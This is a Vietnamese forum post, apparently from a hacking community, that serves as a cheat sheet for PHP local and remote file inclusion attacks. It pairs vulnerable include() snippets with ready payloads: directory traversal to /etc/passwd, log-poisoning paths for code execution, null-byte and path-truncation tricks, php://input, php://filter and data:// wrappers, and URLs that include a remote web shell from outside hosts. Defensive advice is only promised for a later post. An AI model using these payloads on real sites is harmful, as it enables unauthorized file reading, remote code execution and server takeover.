Thấy có người thắc mắc về vụ File inclusion này,mình sẽ lập 1 topic để giải đáp mọi vấn đề

Local File Inclusion Basic Level:

ví dụ trong trường hợp code như sau
Code:
<?php include("includes/" . $_GET['file']); ?>
Chúng ta sẽ có thể :
Including files cùng thư mục:
?file=.htaccess
Xem Path:
?file=../../../../../../../../../var/lib/locate.db
(this file is very interesting because it lets you search the filesystem, other files)
Including injected PHP code: có thể vào error.log,ssh auth.log,session file,...
?file=../../../../../../../../../var/log/apache/error.log
Local File Inclusion Nâng cao:

ví dụ đoạn code thế này
Code:
<?php include("includes/" . $_GET['file'] . ".htm"); ?>
CHúng ta sẽ dùng
Null Byte Injection:
?file=../../../../../../../../../etc/passwd
(yêu cầu magic_quotes_gpc=off)
Xem thư mục với Null Byte Injection:
?file=../../../../../../../../../var/www/accounts/
(UFS filesystem,magic_quotes_gpc=off)
Path Truncation:
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
Xem thêm cái path truncation tại
http://www.ush.it/2009/02/08/php-fil...ttack-vectors/
Dot Truncation:
?file=../../../../../../../../../etc/passwd……………. …
(Windows)
Reverse Path Truncation:
?file=../../../../ [...] ../../../../../etc/passwd
Giờ tiến hành nói đến Remote File Inclusion Cơ bản
Ví dụ
Code:
<?php include($_GET['file']); ?>
chúng ta có thể :
Including Remote Code:
?file=http://sodvn.org/tools/shell.txt (https hoặc ftp)
(requires allow_url_fopen=On ,allow_url_include=On)
Sử dụng PHP stream php://input:
?file=php://input
(chỉ dùng cho POST parameters, allow_url_include=On)
Using PHP stream php://filter:
?file=php://filter/convert.base64-encode/resource=hehe.php
(cái này k cần bật magic_quote vẫn ok)
Sử dụng data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(requires allow_url_include=On)
Sử dụng XSS: (cái này hay)
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(tuy nhiên bị hạn chế bở firewall)
Remote File Inclusion thể loại khác:
ví dụ :
Code:
<?php include($_GET['file'] . ".htm"); ?>
thì
?file=http://test.com/shell
?file=http://test.com/shell.txt?
?file=http://test.com/shell.txt%23 (allow_url_fopen=On, allow_url_include=On)'
1 số tài liệu tham khảo thêm
The POST DATA method
http://blog.php-security.org/archive...l_include.html
PHP Protocol Wrappers documentation
http://www.php.net/manual/en/wrappers.php.php
PHP Filter documentation
http://www.php.net/manual/en/filters.convert.php
added code exec via ssh auth.log http://www.coresec.org/2011/05/12/lo...Assistance.pdf
Bài kế tiếp sẽ nói cách bảo vệ